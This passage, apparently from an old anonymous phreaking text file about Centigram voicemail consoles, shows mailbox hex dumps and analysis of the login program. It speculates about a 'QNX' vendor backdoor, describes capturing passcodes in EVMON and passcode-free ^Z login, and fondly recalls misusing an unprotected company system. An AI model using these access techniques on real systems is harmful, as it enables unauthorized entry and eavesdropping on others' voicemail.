  741. 060: 48 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |H...............|
  742. 070: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
  743. 080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 37 32 33 |.............723|
  744. 090: 36 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |6...............|
  745. 0a0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
  746. 0b0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
  747. 0c0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
  748. [mostly deleted -- the list continues to hex fff.]
  749.  
  750.      One of the unfortunate aspects is that the password is not displayed in
  751. the Mailbox format (Awwww!).   I can tell you now, though, that it also isn't
  752. displayed anywhere in the Raw Dump format.  The program "asetpass" was used to
  753. change the password of a test mailbox, and both full dumps were downloaded and
  754. compared; they matched exactly.  So, it looks like the passcodes are probably
  755. stored somewhere else, and the dump simply contains a link to the appropriate
  756. offset; which means the only way, so far, to get passcodes for mailboxes is to
  757. capture them in EVMON.
  758.  
  759. Intricacies of the login program:
  760.  
  761.      The console login program is 1:/cmds/login.  Although I can't even
  762. recognize any valid 8080 series assembly in the program (and I'm told the
  763. Centigram boxes run on the 8080 family), I did manage to find a few interesting
  764. tidbits inside of it.  First, the console and remote passwords seems to be
  765. stored in the file /config/rates; unfortunately, it's encrypted and I'm not
  766. going to try to break the scheme.  /config/rates looks like this:
  767.  
  768. $ p /config/rates
  769. XCEXFFCDCDX0AX00X00X00X00X00X0AX00X00X00X00X00X0AX00X00X00X00X00X0AX00X00X00X00
  770. X00X0AX00X00X00X00X00X0AX00X00X00X00X00X0AX00X00X00X00X00X00X00X00X00X00X00X00
  771. X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00X00
  772.  
  773.      Accepting the XCE as some sort of control byte, this file is divided up
  774. into about eight empty sections of five bytes a piece, mostly null, indicating
  775. that, possibly, there are a number of acceptable passcode combinations, or a
  776. number of different functions with different passcodes.  In this instance, only
  777. one passcode appears to be selected.  I am still unsure, however, whether this
  778. is actually a password file, or a file that would act as a pointer to another
  779. space on the disk which contains the actual password.  I would assume, for this
  780. login program, that it is actually an encrypted password.
  781.  
  782.      Another very interesting thing sleeping within the confines of the login
  783. program is the inconspicuous string "QNX."  It sits in the code between two
  784. "Enter Passcode:" prompts, separated by X00s.  I believe this to be a system
  785. wide backdoor placed into the login program by Centigram, Corp.  Such a thing
  786. does exist; whenever Centigram wants to get into a certain mailbox system to
  787. perform maintenance or solve a problem, they can.  They may, however, require
  788. the serial number of the machine or of the hard drive, in order to get this
  789. access.  This serial number would be provided by the company requiring service.
  790.  
  791.      When logging in with QNX, a very strange thing happens.
  792.  
  793. (^Z)
  794. Enter Passcode: (QNX^M)  Enter Passcode:
  795.  
  796.      A second passcode prompt appears, a prompt in which the "QNX" passcode
  797. produces an Invalid Passcode message.  I believe that when Centigram logs in
  798. from remote, they use this procedure, along with either a predetermined
  799. passcode, or a passcode determined based on a serial number, to access the
  800. system.  I have not ever seen this procedure actually done, but it is the best
  801. speculation that I can give.
  802.  
  803.      I should also make note of a somewhat less important point.  Should the
  804. console have no passcodes assigned, a simple ^Z for terminal activation will
  805. start the /cmds/console program, and log the user directly in without prompting
  806. for a passcode.  The odds on finding a Centigram like this, nowadays, is
  807. probably as remote as being struck by lightning, but personally, I can recall a
  808. time a number of years back when a Florida company hadn't yet passcode
  809. protected a Centigram.  It was very fun to have such a large number of people
  810. communicating back and forth in normal voice; it was even more fun to hop on
  811. conferences with a number of people and record the stupidity of the average
  812. Bell operator.
  813.  
  814. Special Keys or Strings:
  815.  
  816.      There are a number of special characters or strings that are important to
  817. either the shell or the program being executed.  Some of these are:
  818.  
  819. ?     after the program name, gives help list for that program.
  820. &     runs a task in the background
  821. :     sets the comment field (for text within shell scripts)
  822. ;     command delimiter within the shell
  823. >     redirects output of a task to a file
  824. <     (theoretically) routes input from a file
  825. $cons the "filename" of the console (redirectable)
  826. $tty# the "filename" of tty number "#"
  827. $mdm  the "filename" of the modem line
  828. #$    ? produces a value like "1920", "321d"
  829.         probably the TID of the current process
  830. ##    ? produces a value like "ffff"
  831. #%    ? produces a value like "0020", "001d"
  832. #&    ? produces a value like "0000"
  833. #?    ? produces a value like "0000"
  834. #*    a null argument
  835. #g    ? produces a value like "00ff"
  836. #i    directly followed by a number, produces "0000"
  837.       not followed, produces the error "non-existent integer variable" probably
  838.       used in conjunction with environment variables
  839. #k    accepts a line from current input (stdin) to be
  840.       substituted on the command line
  841. #m    ? "00ff"
  842. #n    ? "0000"
  843. #p    ? "0042"
  844. #s    produces the error "non-existent string variable" probably used in
  845.       conjunction with environment variables
  846. #t    ? "0003"
  847. #u    ? some string similar to "system"
  848. #D    ? "0018"
  849. #M    ? "0004"
  850. #Y    ? "005c"
  851.  
  852. "Centigram Voice Mail System Consoles" was written anonymously.  There are no
  853. group affiliations tied to this file.
  854. _______________________________________________________________________________
  855.  
  856.